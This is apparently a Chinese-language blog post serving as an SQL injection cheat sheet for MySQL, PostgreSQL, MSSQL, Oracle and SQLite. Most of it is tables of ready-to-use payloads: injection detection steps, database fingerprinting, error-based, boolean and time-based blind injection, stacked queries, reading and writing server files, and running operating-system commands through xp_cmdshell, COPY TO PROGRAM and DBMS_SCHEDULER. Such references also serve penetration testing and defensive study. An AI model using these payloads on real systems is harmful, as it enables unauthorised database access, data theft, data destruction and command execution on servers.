这是一个 SQL 注入笔记,其中包含了很多常用的payload,涵盖了 5 种最流行的数据库及其衍生产品(MySQL、PostgreSQL、MSSQL/SQL Server、Oracle、SQLite)。
某些payload包含占位符,这些占位符在使用前需要被替换为具体的值。占位符以<>表示,并且使用大写字母,例如<START>。替换时需替换整个占位符(包括<>)。
避免使用 OR <true> (OR 1=1)
除了打 CTF之外,其他情况都要避免使用涉及 or 表达式的注入(例如 ‘ or 1=1 –),除非只能用or。
原因:
-
登录绕过不稳定
“OR 1=1” 在某些情况下可以绕过登录验证,但其效果并不稳定。通常是期望 SQL 查询返回一行匹配的数据(例如用户名和密码都正确)。如果使用 “OR 1=1″,查询可能会返回多行数据(例如整个user表),这可能导致目标拒绝登录请求。例如,查询 SELECT * FROM users WHERE username = ” OR 1=1 AND password = ” 会返回所有用户,但如果目标只在查询返回单行时才允许登录,这种方法就会失效。相比之下,使用其他方法(如注释掉密码检查部分并配合有效用户名)可能更可靠,即 “OR 1=1” 的通用性不足。
-
可能导致数据库过载
在某些场景(如搜索功能)中注入 “OR 1=1” 会导致数据库返回表中的所有行。如果数据库表非常大,这种操作可能会引发性能问题,甚至导致数据库过载或系统崩溃。
-
数据操作风险高
当 “OR 1=1” 用于 UPDATE 或 DELETE 语句时,可能会意外修改或删除大量数据。例如,在重置密码的场景中,注入 “OR 1=1” 可能会导致所有用户的密码都被更改,而不仅仅是目标用户。这种操作可能引发数据丢失或损坏,风险极高。
安全的 or 表达式的payload
但实际上也存在安全的 or 注入payload,这些 payload 可以在没有 有效查询参数 的情况下使用。
数据库 | Payload | |
---|---|---|
MySQL | ‘ OR IF((NOW()=SYSDATE()),SLEEP(1),1)=’0 | |
PostgreSQL | ‘ OR (CASE WHEN ((CLOCK_TIMESTAMP() – NOW()) < ‘0:0:1’) THEN (SELECT ‘1’||PG_SLEEP(1)) ELSE ‘0’ END)=’1 | |
MSSQL | No Known Payload | |
Oracle | ‘ OR ROWNUM = ‘1 | |
SQLite | ‘ OR ROWID = ‘1 |
普通测试
以下是一个简单通用的方法,用于发现基本的 SQL 注入漏洞,通过逐步操作来检测是否存在 SQL 注入。
第一步:尝试使用单引号让原有的 SQL 语句报错
首先,我们需要在某个有效的输入值中注入单引号(’)或双引号(”),以尝试“破坏”后端执行的 SQL 语句。例如:
-
假设有一个搜索功能,搜索关键词 fuck 返回 23 个结果。
-
在搜索关键词后附加单引号,变为 fuck’,然后提交。
-
如果结果变为 0 个(或者直接报错),说明 SQL 语句可能因为我们插入了单引号而发生改变。 注意:这也可能是因为 fuck’ 本身是一个无效的搜索词,但后续步骤可以帮助我们确认。
第二步:尝试修复目标的sql语句检查是否恢复原始响应
可以尝试用以下方法替换注入的单引号,看看是否能恢复到原始响应(即 23 个结果)。依次尝试以下替换:
-
将 fuck’ 替换为 fuck’ ‘(单引号后加空格和另一个单引号)
-
将 fuck’ 替换为 fuck’||’
-
将 fuck’ 替换为 fuck’+’
-
将 fuck’ 替换为 fuck’ AND ‘1’=’1
-
将 fuck’ 替换为 fuck’ — –
如果某个替换后的搜索词(如 fuck’ ‘)再次返回 23 个结果,说明原始响应被恢复了,这表明搜索功能很可能存在 SQL 注入漏洞。
第三步:处理整数值的情况
如果以上方法都无法恢复原始响应,可能是因为我们注入的字段是一个整数值(而不是字符串)。在这种情况下,尝试以下方法:
-
将 fuck’ 替换为 fuck — –
-
将 fuck’ 替换为 fuck AND 1=1
-
将 fuck’ 替换为 fuck AND 1=1 — –
同样,如果某个替换后的搜索词恢复了原始响应(23 个结果),则说明可能存在 SQL 注入漏洞。
第四步:确认 SQL 注入漏洞
为了进一步确认是否存在 SQL 注入,可以尝试以下方法:
方法 1:尝试 UNION 注入攻击
-
构造一个 UNION 注入 payload,例如 fuck’ UNION SELECT 1,2,3 — -。
-
如果返回结果异常(例如额外的数据或有明显的数据库报错),则更加确定存在sql注入。
方法 2:注入布尔值 payload
-
构造两个布尔值 payload:
-
fuck’ AND ‘1’=’1(应该返回原始响应,即 23 个结果)
-
fuck’ AND ‘1’=’0(应该返回 0 个结果)
-
-
如果结果符合预期(第一个 payload 返回 23 个结果,第二个返回 0 个结果),则基本上可以确认存在 SQL 注入漏洞。
识别数据库
一旦通过上面的方法发现了sql注入,可以通过下面这些payload来识别到底是什么数据库。
编号 | Payload | 数据库类型 |
---|---|---|
1 | AND ‘foo’ ‘bar’ = ‘foobar’ | MySQL |
2 | AND DATALENGTH(‘foo’) = 3 | MSSQL |
3 | AND TO_HEX(1) = ‘1’ | PostgreSQL |
4 | AND LENGTHB(‘foo’) = ‘3’ | Oracle |
5 | AND GLOB(‘foo*’, ‘foobar’) = 1 | SQLite |
注释
注释语法可用于在 SQL 语句中添加注释,可以用于注释位于注入语句后的那些原本的内容,以及绕过某些过滤。需要注意”–“注释需要在”–“后加上空格才有效,而 /*comment*/
是行内注释。
MySQL | # — /*comment*/ |
---|---|
PostgreSQL | –– /*comment*/ |
MSSQL | –– /*comment*/ |
Oracle | –– /*comment*/ |
SQLite | –– /*comment*/ |
字符串链接
这些函数/操作符可用于将两个或多个字符串连接在一起。
数据库 | 函数 / 操作符 |
---|---|
MySQL | ‘foo’ ‘bar’ CONCAT(‘foo’, ‘bar’) |
PostgreSQL | ‘foo’||’bar’ CONCAT(‘foo’, ‘bar’) |
MSSQL | ‘foo’+’bar’ CONCAT(‘foo’, ‘bar’) |
Oracle | ‘foo’||’bar’ CONCAT(‘foo’, ‘bar’) |
SQLite | ‘foo’||’bar’ CONCAT(‘foo’, ‘bar’) |
子字符串
这些函数可以用来选择一个字符串的子字符串。START 值应设置为 1(而不是 0),以便从第一个字符开始提取子字符串。还包括无逗号的版本,用于绕过某些 WAF(Web 应用防火墙)或过滤机制。
数据库 | 示例 | 说明 |
---|---|---|
MySQL | SUBSTRING(‘foobar’, <START>, <LENGTH>) SUBSTR(‘foobar’, <START>, <LENGTH>) MID(‘foobar’, <START>, <LENGTH>) SUBSTRING(‘foobar’ FROM <START> FOR <LENGTH>) | SUBSTR 和 MID 也可以用于这种无逗号的版本。 |
PostgreSQL | SUBSTRING(‘foobar’, <START>, <LENGTH>) SUBSTR(‘foobar’, <START>, <LENGTH>) SUBSTRING(‘foobar’ FROM <START> FOR <LENGTH>) | |
MSSQL | SUBSTRING(‘foobar’, <START>, <LENGTH>) | |
Oracle | SUBSTR(‘foobar’, <START>, <LENGTH>) | |
SQLite | SUBSTRING(‘foobar’, <START>, <LENGTH>) SUBSTR(‘foobar’, <START>, <LENGTH>) |
长度
这些函数以字节或字符为单位计算字符串的长度(由于 Unicode 的存在,某些字符可以有多个字节)。
数据库 | 示例 |
---|---|
MySQL | LENGTH(‘foo’) CHAR_LENGTH(‘foo’) |
PostgreSQL | LENGTH(‘foo’) |
MSSQL | DATALENGTH(‘foo’) LEN(‘foo’) |
Oracle | LENGTHB(‘foo’) LENGTH(‘foo’) |
SQLite | LENGTH(‘foo’) |
分组连接
这些函数将多行结果中的值连接成一个单独的字符串。用你希望分隔每个值的字符串或字符(例如逗号)替换 <DELIMITER>。
什么是 GROUP_CONCAT?
-
是一个聚合函数,主要在 MySQL 和 MariaDB 中使用(其他数据库如 PostgreSQL 有类似功能,例如 STRING_AGG)。
-
它的作用是将一组行中的值(通常来自同一分组)连接成一个单一的字符串。
-
常用于 GROUP BY 查询中,将多行数据合并为一行。
数据库 | 示例 |
---|---|
MySQL | GROUP_CONCAT(expression, ‘<DELIMITER>‘) |
PostgreSQL | STRING_AGG(expression, ‘<DELIMITER>‘) |
MSSQL | STRING_AGG(expression, ‘<DELIMITER>‘) |
Oracle | LISTAGG(expression, ‘<DELIMITER>‘) |
SQLite | GROUP_CONCAT(expression, ‘<DELIMITER>‘) |
将字符转换为整数用于进行比较
这对sql盲注很有用,可以确定字符所在的范围。注意,MySQL 和 Oracle 的函数输出的是十六进制数,而其他数据库输出的是十进制数。
数据库 | 例子 | 输出 |
---|---|---|
MySQL | HEX(‘a’) | 61 |
PostgreSQL | ASCII(‘a’) | 97 |
MSSQL | UNICODE(‘a’) | 97 |
Oracle | RAWTOHEX(‘a’) | 61 |
SQLite | UNICODE(‘a’) | 97 |
限制与偏移查询
用于限制查询结果返回特定行数以及偏移起始行的语法,包括不使用逗号的语法,以便绕过某些 WAF(Web 应用防火墙)或过滤机制。
数据库 | 将查询结果限制为 1 行 | 限制为 1 行,从第 5 行开始 |
---|---|---|
MySQL | SELECT * FROM users LIMIT 1 | SELECT * FROM users LIMIT 4, 1 SELECT * FROM users LIMIT 1 OFFSET 4 |
PostgreSQL | SELECT * FROM users LIMIT 1 | SELECT * FROM users LIMIT 1 OFFSET 4 |
MSSQL | SELECT * FROM users ORDER BY 1 OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY | SELECT * FROM users ORDER BY 1 OFFSET 4 ROWS FETCH NEXT 1 ROWS ONLY |
Oracle >= v12 | SELECT * FROM users FETCH NEXT 1 ROWS ONLY | SELECT * FROM users OFFSET 4 ROWS FETCH NEXT 1 ROWS ONLY |
Oracle <= v11 | SELECT * FROM users WHERE ROWNUM = 1 | SELECT * FROM users WHERE ROWNUM = 5 |
SQLite | SELECT * FROM users LIMIT 1 | SELECT * FROM users LIMIT 4, 1 SELECT * FROM users LIMIT 1 OFFSET 4 |
数据库版本
提供数据库版本信息的函数和操作符。
数据库 | 函数 / 运算符 |
---|---|
MySQL | @@VERSION VERSION() @@GLOBAL.VERSION |
PostgreSQL | VERSION() |
MSSQL | @@VERSION |
Oracle | SELECT BANNER FROM v$version WHERE ROWNUM = 1 SELECT BANNER FROM gv$version WHERE ROWNUM = 1 |
SQLite | sqlite_version() |
数据库列表
查询数据库列表
数据库 | 语句 |
---|---|
MySQL | SELECT DATABASE() |
PostgreSQL | SELECT CURRENT_DATABASE() SELECT CURRENT_SCHEMA() |
MSSQL | SELECT DB_NAME() SELECT SCHEMA_NAME() |
Oracle | SELECT name FROM V$database SELECT * FROM global_name SELECT sys_context(‘USERENV’, ‘CURRENT_SCHEMA’) FROM dual; |
SQLite | N/A |
数据库的表
查询指定数据库中的所有表
数据库 | 语法 |
---|---|
MySQL | SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=’<DBNAME>‘ SELECT database_name,table_name FROM mysql.innodb_table_stats WHERE database_name=’<DBNAME>‘ |
PostgreSQL | SELECT tablename FROM pg_tables WHERE schemaname = ‘<SCHEMA_NAME>’ SELECT table_name FROM information_schema.tables WHERE table_schema='<SCHEMA_NAME>’ |
MSSQL | SELECT table_name FROM information_schema.tables WHERE table_catalog=’<DBNAME>‘ SELECT name FROM <DBNAME>..sysobjects WHERE xtype=’U’ |
Oracle | SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER=’<DBNAME>‘ |
SQLite | SELECT tbl_name FROM sqlite_master WHERE type=’table’ |
表中的列
查询指定数据库中的表的所有列
数据库 | 语法 |
---|---|
MySQL | SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='<TABLE_NAME>’ AND table_schema=’<DBNAME>‘ |
PostgreSQL | SELECT column_name,data_type FROM information_schema.columns WHERE table_schema=’<DBNAME>‘ AND table_name='<TABLE_NAME>’ |
MSSQL | SELECT COL_NAME(OBJECT_ID(‘<DBNAME>.<TABLE_NAME>’), <INDEX>) |
Oracle | SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='<TABLE_NAME>’ AND OWNER=’<DBNAME>‘ |
SQLite | SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='<TABLE_NAME>’ SELECT name FROM PRAGMA_TABLE_INFO(‘<TABLE_NAME>’) |
布尔判断检测
这些payload会在SQL查询的时候引发报错,前提是1=1的条件为真,将1=1替换为你想要测试的条件;如果错误反馈到响应中(例如500内部服务器错误),那么该条件就是成立的。
数据库 | Payload |
---|---|
MySQL | AND 1=(SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),1)) |
PostgreSQL | AND 1=(SELECT CASE WHEN (1=1) THEN CAST(1/0 AS INTEGER) ELSE 1 END) |
MSSQL | AND 1=(SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END) |
Oracle | AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ‘1’ END FROM dual) |
SQLite | AND 1=(SELECT CASE WHEN (1=1) THEN load_extension(1) ELSE 1 END) AND 1=(SELECT CASE WHEN (1=1) THEN abs(-9223372036854775808) ELSE 1 END) |
报错检测
这些payload会导致数据库错误,并在错误中返回数据库的版本信息。
MySQL
Payload |
---|
AND GTID_SUBSET(CONCAT(‘~’,(SELECT version()),’~’),1337) — – |
AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT(‘~’,(SELECT version()),’~’)) USING utf8))) — – |
AND EXTRACTVALUE(1337,CONCAT(‘.’,’~’,(SELECT version()),’~’)) — – |
AND UPDATEXML(1337,CONCAT(‘.’,’~’,(SELECT version()),’~’),31337) — – |
OR 1 GROUP BY CONCAT(‘~’,(SELECT version()),’~’,FLOOR(RAND(0)*2)) HAVING MIN(0) — – |
AND EXP(~(SELECT * FROM (SELECT CONCAT(‘~’,(SELECT version()),’~’,’x’))x)) — – |
PostgreSQL
Payload |
---|
AND 1337=CAST(‘~’||(SELECT version())::text||’~’ AS NUMERIC) — – |
AND (CAST(‘~’||(SELECT version())::text||’~’ AS NUMERIC)) — – |
AND CAST((SELECT version()) AS INT)=1337 — – |
AND (SELECT version())::int=1 — – |
MSSQL
Payload |
---|
AND 1337 IN (SELECT (‘~’+(SELECT @@version)+’~’)) — – |
AND 1337=CONVERT(INT,(SELECT ‘~’+(SELECT @@version)+’~’)) — – |
AND 1337=CONCAT(‘~’,(SELECT @@version),’~’) — – |
Oracle
Payload |
---|
AND 1337=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||’~’||(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),’ ‘,’_’),’$’,'(DOLLAR)’),’@’,'(AT)’),’#’,'(HASH)’))||’~’||CHR(62))) FROM DUAL) — – |
AND 1337=UTL_INADDR.GET_HOST_ADDRESS(‘~’||(SELECT banner FROM v$version)||’~’) — – |
AND 1337=CTXSYS.DRITHSX.SN(1337,’~’||(SELECT banner FROM v$version)||’~’) — – |
AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH(‘~’||(SELECT banner FROM v$version)||’~’) — – |
延时注入
简单的延时注入
请注意,这些payload本质上是有危险的,因为sleep函数可能会执行多次,它们将导致数据库在查询的每一行中休眠 10 秒。
只有在确定注入的查询只影响一条记录时,才可使用。
数据库 | Payload |
---|---|
MySQL | AND SLEEP(10)=0 |
PostgreSQL | AND ‘RANDSTR’||PG_SLEEP(10)=’RANDSTR’ |
MSSQL | AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END) |
Oracle | AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE(‘RANDSTR’,10) ELSE 1337 END) |
SQLite | AND 1337=LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(1000000000/2)))) |
复杂一些的延时注入
这些payload是相对安全的,只能休眠一次,将1=1替换为要测试的语句即可,如果延迟了十秒,则为真
数据库 | Payload |
---|---|
MySQL | AND (SELECT 1337 FROM (SELECT(SLEEP(10-(IF((1=1),0,10))))) RANDSTR) |
PostgreSQL | AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END) |
MSSQL | AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END) |
Oracle | AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE(‘RANDSTR’,10) ELSE 1337 END) |
SQLite | AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM (SELECT LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(1000000000/2)))))) ELSE 1337 END) |
堆叠注入
数据库 | Payload |
---|---|
MySQL | ; SLEEP(10) — – |
PostgreSQL | ; PG_SLEEP(10) — – |
MSSQL | ; WAITFOR DELAY ‘0:0:10’ — – |
Oracle | ; DBMS_PIPE.RECEIVE_MESSAGE(‘RANDSTR’,10) — – |
SQLite | ; RANDOMBLOB(1000000000/2) — – |
下列payload中,如果 1=1
成立,这些payload就会导致 10 秒的延迟。将 1=1
替换为你想要测试的条件;如果出现 10 秒的延迟,就说明该条件成立。
数据库 | Payload |
---|---|
MySQL | ; SELECT IF((1=1),SLEEP(10),1337) |
PostgreSQL | ; SELECT (CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END) |
MSSQL | ; IF(1=1) WAITFOR DELAY ‘0:0:10’ |
Oracle | ; SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE(‘RANDSTR’,10) ELSE 1337 END FROM DUAL |
SQLite | ; SELECT (CASE WHEN (1=1) THEN (LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(1000000000/2))))) ELSE 1337 END) |
读取文件
这些函数可以读取本地文件的内容。另外,只有在可以进行堆叠注入的情况下,才能使用 Oracle 方法。SQLite 的 readfile 函数并非其核心函数。
数据库 | 函数 |
---|---|
MySQL | LOAD_FILE(‘/path/to/file’) |
PostgreSQL | PG_READ_FILE(‘/path/to/file’) |
MSSQL | OPENROWSET(BULK ‘C:\path\to\file’, SINGLE_CLOB) |
Oracle | utl_file.get_line(utl_file.fopen(‘/path/to/’,’file’,’R’), <buffer>) |
SQLite | readfile(‘/path/to/file’) |
写入文件
这些语句可以将内容写入本地文件。只有在可以进行堆叠注入的情况下,才能使用 PostgreSQL、MSSQL 和 Oracle 的方法。MSSQL 需要启用 “Ole Automation Procedures”。
数据库 | 语句 |
---|---|
MySQL | SELECT ‘contents’ INTO OUTFILE ‘/path/to/file’ |
PostgreSQL | COPY (SELECT ‘contents’) TO ‘/path/to/file’ |
MSSQL | execute spWriteStringToFile ‘contents’, ‘C:\path\to‘, ‘file’ |
Oracle | utl_file.put_line(utl_file.fopen(‘/path/to/’,’file’,’R’), <buffer>) |
SQLite | SELECT writefile(‘/path/to/file’, column_name) FROM table_name |
执行命令
这些语句执行本地操作系统命令。只有在可以进行堆叠注入的情况下,才能使用 PostgreSQL、MSSQL 和第二种 Oracle 方法。第一种 Oracle 方法需要使用 OS_Command 包。
数据库 | 语句 |
---|---|
MySQL | Not Possible |
PostgreSQL | COPY (SELECT ”) to program ‘<COMMAND>‘ |
MSSQL | EXEC xp_cmdshell ‘<COMMAND>‘ |
Oracle | SELECT os_command.exec_clob(‘<COMMAND>‘) cmd from dual DBMS_SCHEDULER.CREATE_JOB (job_name => ‘exec’, job_type => ‘EXECUTABLE’, job_action => ‘<COMMAND>‘, enabled => TRUE) |
SQLite |
暂无评论内容